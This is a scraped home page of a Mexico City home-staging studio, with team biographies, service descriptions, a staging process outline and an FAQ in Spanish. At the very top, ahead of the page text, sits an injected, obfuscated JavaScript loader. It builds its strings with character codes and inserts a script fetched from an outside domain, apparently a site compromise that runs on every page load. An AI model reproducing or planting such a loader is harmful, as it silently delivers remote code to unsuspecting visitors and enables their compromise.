Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,104,116,46,115,101,99,111,110,100,97,114,121,105,110,102,111,114,109,116,114,97,110,100,46,99,111,109,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})(); Paté – Home Staging

Paté

Home Staging

Nosotros

Somos un estudio de rediseño, dedicado a transformar casas y departamentos para convertirlas en espacios espectaculares y atractivos que cautiven a sus futuros compradores.

Integrantes

ver más de Patricia Bequer
  • patriciabequer

    PATRICIA BEQUER

    fundadora

    Fundadora de PATÉ Home Staging & Interior Design Studio, Patricia tiene una licenciatura en ARQUITECTURA por la Universidad Autónoma de México y un MBA en Negocios Internacionales por el EAP Madrid, diplomada en Marketing por el ITESM, actualmente se encuentra cursando un diplomado en DISEÑO INTERIOR por el CENTRO A+D en la ciudad de México.

    Patricia tiene una sólida trayectoria profesional con más de veinte años de experiencia en MARKETING y Productos de Consumo, habiendo trabajado en la industria del entretenimiento, colaboró durante casi siete años para el estudio Paramount Pictures como Gerente Senior de Marketing en la división de home entertainment hasta marzo de 2015.

    Su experiencia y pasión por el diseño interior comenzó en 2013 cuando inició un negocio entrepreneur que implicó arrendar y rediseñar siete diferentes departamentos de uso habitacional para convertirse en Host del sitio Airbnb entre otros y que motivó a Patricia a fundar su propio estudio de Home Staging siendo pionera en esta disciplina en México y el cual planea expandir por toda la República Mexicana.

    Patricia tiene dos hijos quienes son su motivación, es apasionada del diseño de mobiliario e iluminación. Su creatividad la llevó a desarrollar una línea de joyería y otra de accesorios para bodas llamada PÁTÉ BIJOUX y PÁTÉ ALTAR respectivamente. Hace Yoga y tiene interés por la fotografía, el arte + arquitectura de Paisaje.


ver más de Luis Manuel Balderas
  • luismanuelbalderas

    LUIS MANUEL BALDERAS

    co founder

    Co-Fundador de PÁTÉ Home Staging & Interior Design Studio, Luis Manuel tiene una licenciatura en Diseño de Asentamientos Humanos y URBANISMO por la Universidad Autónoma de Metropolitana, con postgrado en Planeación urbana y Ordenamiento del territorio por el IEAL /Fundicot de Madrid. Está diplomado en Servicios Inmobiliarios y cuenta con estudios en Geo-marketing.

    Luis Manuel tiene una sólida trayectoria profesional con más de veinte años de experiencia en RETAIL en el área de Expansión y Desarrollos Inmobiliarios Comerciales de firmas y franquicias transnacionales y locales en la ciudad de México. Ha desarrollado estrategias de comercialización para centros comerciales y durante casi cuatro años hasta 2008 participó en la expansión y desarrollo inmobiliario de tiendas de autoservicio y plazas comerciales de la marca Soriana para la ciudad de México.

    Esta plataforma de conocimientos en el mercado inmobiliario ha permitido a Luis Manuel conocer y visualizar las tendencias en desarrollos comerciales y además de participar como co-fundador de PÁTÉ HOME STAGING, está desarrollando el concepto de tiendas emergentes en la ciudad de México llamadas POP UP STORES MÉXICO en conjunto con algunas empresas españolas.

    Luis Manuel es un apasionado de la lectura, la tecnología digital y los gadgets, le gusta hacer jogging, ejercicio y andar en bicicleta.


ver más Mónica Sayrols

  • Es experta en comunicación estratégica y comunicación institucional. Tiene más de quince años de experience en el ámbito de la comunicación, las relaciones públicas y el manejo de medios. A lo largo de su carrera ha desarrollado con éxito diversas campañas de posicionamiento e imagen y múltiples proyectos de marketing social y digital.

    Trabajó en UNICEF México como responsable de prensa y comunicación y ha sido consultora independiente en proyectos de comunicación dirigidos a nuevos negocios, organizaciones de la sociedad civil y fundaciones, en temas como arquitectura e interiorismo, culturales, de desarrollo, derechos humanos y responsabilidad social.

¿Quienes Somos?

Más acerca de Pâté

  • ¿Quiénes somos?

    Somos un estudio de rediseño, dedicado a transformar casas y departamentos para convertirlas en espacios espectaculares y atractivos que cautiven a sus futuros compradores.

    Con nuestras intervenciones de H​ome Staging,​logramos que las propiedades en las que trabajamos se vendan en poco tiempo y a un mayor precio.

    Lo que nos hace diferentes a otros estudios de diseño de interiores, es nuestra metodología de marketing pensada para que la propiedad enamore y toque las emociones de los compradores potenciales.

    En otras palabras, ¡hacemos que la magia suceda!

    20150422_AIRBNB 350-351_0151

Equipo

Acerca del equipo Pâté

  • Nuestro equipo

    PÂTÉ Studio​ cuenta con un equipo de profesionales creativos, interioristas y mercadólogos con vasta experiencia, que han exitosamente trabajado en el rediseño de numerosas propiedades en México.

    20150422_AIRBNB 350-351_0014

Misión

ver más de Mónica Sayrols

  • Es experta en comunicación estratégica y comunicación institucional. Tiene más de quince años de experience en el ámbito de la comunicación, las relaciones públicas y el manejo de medios. A lo largo de su carrera ha desarrollado con éxito diversas campañas de posicionamiento e imagen y múltiples proyectos de marketing social y digital.

    Trabajó en UNICEF México como responsable de prensa y comunicación y ha sido consultora independiente en proyectos de comunicación dirigidos a nuevos negocios, organizaciones de la sociedad civil y fundaciones, en temas como arquitectura e interiorismo, culturales, de desarrollo, derechos humanos y responsabilidad social.

Servicios

Te ayudamos a que tu casa se venda mejor.

Ayudamos a nuestros clientes a vender sus propiedades más rápido y a un precio más atractivo, a través de intervenciones sencillas, rápidas y accesibles.

Home Staging

Ver más

  • Los servicios de P​ATÉ Studio​ estan diseñados para ayudar a nuestros clientes a vender sus propiedades más rápido y a un precio más competitivo. Con nuestro trabajo de H​ome Staging,​se incrementan las ofertas de compra de tu propiedad. Logramos que tu inmueble luzca más atractivo, más limpio, con una mejor distribución de muebles y objetos de decoración, todo desde una visión estratégica.

Renta de mobiliario y accesorios

Ver más

  • También ofrecemos el servicio de renta de mobiliario y accesorios decorativos para propiedades no habitadas, así como acompañamiento y asesoría en la compra de muebles y accesorios. Esta estrategia contribuye en gran medida a agilizar la venta e incrementar el precio de salida.

Consultoría del color

Ver más

  • Otro servicio que ofrecemos es el de “​consultoría del color“,​ que consiste en brindar asesoría a nuestros clientes sobre la paleta de color idónea para obtener un balance armónico y equilibrado en sus espacios.
    PÁTE Studio​ proporciona a sus clientes ese “​extra” que necesitan las propiedades para ser perfectas para la venta.

Diseño de interiores

Ver más

  • En​ PÁTE Studio ​también ofrecemos servicios de d​iseño de interiores.​Te ayudamos a transformar tu hogar o tu negocio en un espacio único y excepcional, acogedor y con mucho estilo. Hacemos un exhaustivo análisis y te ayudamos a encontrar el mobiliario, objetos de arte e iluminación ideales para tu espacio.

Contáctenos para mayor información sobre nuestros servicios

¿Cómo funcionamos?

icon

ANÁLISIS DEL INMUEBLE

Visita al inmueble para llevar a cabo un primer análisis de la propiedad, análisis del rango de precio que se desea fijar con respecto al mercado para conocer el nivel de elasticidad y por último, elaboración del perfil del comprador potencial (edad, género, NSE, hábito de compra, etc.)

icon

PROPUESTA DEL STAGING

Presentación económica y de rediseño con nuestras recomendaciones necesarias tanto de mobiliario como de ambientación y en algunos casos de limpieza especializada, todo lo anterior para revalorizar la propiedad.

icon

PUESTA EN ESCENA

¡Haremos la magia! Creando un espacio único, memorable y que magnetice al comprador.
Ejecución del rediseño del inmueble, elección y acopio del mobiliario y accesorios de ambientación ya sea rentados de nuestra bodega o adquiridos por el cliente. El espacio quedará listo para mostrar a los compradores potenciales.

icon

FOTOGRAFÍAS DEL ESPACIO

Una vez terminado el montaje, se procede a la toma fotográfica profesional con el fin de elegir las fotos más destacables para que el cliente o la inmobiliaria pueda anunciar la propiedad en sitios web estratégicos.
Si se requiere se podrá complementar con un video profesional del inmueble para subirlo a redes sociales en los sitios web donde se planee publicitar.

icon

VENTA DEL INMUEBLE

Este paso lo hace directamente del dueño de la propiedad o INMOBILIARIA.
PATE Studio​ se enfoca en proporcionar las herramientas necesarias para que la propiedad se venda en un plazo menor que el resto del mercado y se revalorice el precio de salida.

icon

DESMONTAJE

Una vez vendida o arrendada la propiedad procederemos a retirar los muebles y accesorios de ambientación en renta y haremos la progtamación de mudanza.

Preguntas Frecuentes

En esta sección encontrarás preguntas relevantes para conocer más información acerca de que es Paté Staging

Ver Preguntas Frecuentes

  • ¿Qué es el Home Staging?

    Es el arte de transformar, rediseñar y ambientar una vivienda, para convertirla en un espacio más atractivo para su venta.
    El H​ome Staging​es una estrategia de marketing, que a través del rediseño, busca adecuar una propiedad de tal manera, que atraiga a un importante número de potenciales compradores, logrando con éxito incrementar su valor y acortar su tiempo de venta.

     

    ¿Cómo surge el Home Staging?

    El término H​ome Staging ​hace alusión al lenguaje teatral y se puede traducir al
    español literalmente como “​la puesta en escena de una casa”.
    Esta práctica es muy común en Estados Unidos y en Europa, desde hace varios años y surgió como una necesidad real ante el creciente y competitivo mercado inmobiliario. Con este “boom” sin precedentes en el mercado de las bienes raíces, era necesario que las viviendas puestas a la venta fueran cada vez más atractivas y llamarán más la atención de los potenciales compradores. Es así como el H​ome Staging​se ha convertido en muchos países, en una h​erramienta indispensable​y esencial​a la hora de vender una propiedad si se quiere m​aximizar todo su potencial.
    PÂTÉ Studio​es prácticamente el pionero al introducirlo en México

     

    ¿Qué ventajas tiene contratar un servicio de Home Staging?​

    El H​ome Staging​ es ideal cuando queremos vender una propiedad de forma inmediata e incrementar su valor, minimizando los defectos que ésta tenga, sin que sea necesario hacer una obra o remodelación mayor.
    Siempre será mucho mejor i​nvertir en rediseñar tu propiedad​que en la reducción del precio que te pedirán los potenciales compradores al querer “​regatear” e​l precio final de la venta por algún defecto o detalle que le haya impactado negativamente al conocer el inmueble.
    Con nuestros servicios, logramos que el inmueble mejore de manera automática, y que esa primera impresión que se lleva el comprador, sea p​erfecta.​E​n P​ÁTE Studio estamos convencidos de que,​la primera impresión SÍ es la que cuenta.
    Al contratar nuestros servicios, usted contará con un equipo de profesionales que analizan el perfil del comprador potencial y trabajan en una propuesta de rediseño de espacios, sin perder de vista el objetivo principal: maximizar el valor de la propiedad y acortar su tiempo de venta, teniendo siempre en mente al comprador.

     

    ¿El Home Staging ofrece garantías?

    El H​ome Staging ​es primero que nada una n​ueva visión estratégica de hacer negocios al momento de vender una propiedad,​no es una cuestión meramente de diseño de interiores o remodelación.
    Se ha comprobado que una propiedad que contrata los servicios de H​ome Staging se vende en un período no mayor a 2 meses y su precio se incrementa de un 5% a un 20%, de acuerdo a estadísticas de la Asociación Internacional de Home Stagers de Estados Unidos (RESA por sus siglas en inglés).

     

    ¿En qué consiste el Home Staging?

    Las técnicas del H​ome Staging​buscan mejorar la atmósfera de un inmueble y se enfocan en hacer un rediseño de la vivienda, sin que éste implique una remodelación profunda y demasiado costosa.
    El H​ome Staging​es una transformación menor que incluye cambio de acabados, mobiliario, ambientación e iluminación, logrando cambios notables que influyen de manera determinante en la decisión de compra de un inmueble, elevando el precio de su venta.
    Se hacen dos tipos de H​ome Staging:​Cuando la propiedad en venta está habitada y otro cuando está deshabitada. En el primer caso, se puede utilizar parte del mobiliario y los objetos ornamentales pre existentes siempre y cuando estén en buen estado y coincidan con el diseño propuesto, la idea es utilizar técnicas de rediseño para transformar el espacio en un lugar más acogedor y neutral.

    En el segundo caso en que la propiedad se encuentra deshabitada , se utilizan las mismas técnicas de rediseño pero se incorpora la renta de mobiliario y la ambientación temporal para realzar el espacio y maximizarlo. Esto se logra a través de nuestro propio stock de muebles o a través de las firmas comerciales con los que se tienen acuerdos de renta de mobiliario. Pâté Studio cuenta con una bodega con el mobiliario apropiado para adecuar el espacio de la manera armónica y confortable.

     

    ¿Qué es el rediseño de una habitación?

    Es cambiar el uso al que fue destinada la habitación, es decir una tercera recámara puede convertirse en un estudio o una sala de entretenimiento. Por ejemplo, una gran estancia o recibidor amplio puede transformarse en dos áreas: sala de TV, o área de estar y comedor. Todo irá en función de obtener una mejor redistribución del espacio que requiera el comprador potencial.

     

    ¿El Home Staging es muy costoso?

    Es muy importante ver al H​ome Staging ​como u​na inversión, ​y no como un gasto. ​Es decir, el H​ome Staging​ es una estrategia de negocios, en la que el dinero invertido se recuperará con la venta del inmueble es decir el ROI (Retorno de Inversión) es inmediato.
    Los costos varían de acuerdo al número de habitaciones a transformar y el mobiliario o estilo que se elija. entre más grande sea una propiedad, el costo aumentará. Hay otros factores que influyen en el precio como cuando una propiedad está habitada o deshabitada.

     

    ¿Se hacen presupuestos a la medida?

    PÂTÉ Studio​maneja paquetes de costos estándar y gastos fijos, (por ejemplo renta y mudanza de mobiliario),​p​ero dependiendo de las características de cada propiedad, como su tamaño, su estado y otros factores, los costos variarán.
    Para obtener una propuesta económica de H​ome Staging,​se necesita agendar una visita de inspección en donde se recogerá toda la información necesaria para ello.
    Conozca nuestros paquetes y contáctenos.​(liga a la sección de contactos).

     

    ¿PÂTÉ Studio ayuda a vender propiedades?

    El H​ome Staging​ lo que hace es facilitar el proceso de venta de las propiedades y lograr que ésta se concrete en un menor tiempo y a un precio más alto.


RESA Partner

REDES SOCIALES

Contacto

Nombre *

Correo electrónico *

Asunto *

Mensaje *

Agenda una cita con nosotros.

En esta primera visita discutiremos los potenciales de tu propiedad y obtendremos la información necesaria para poder hacer una propuesta económica de los cambios necesarios para su transformación.

Mail: contacto@patestaging.jamakarquitectura.com
Teléfono: 55 14 74 96 07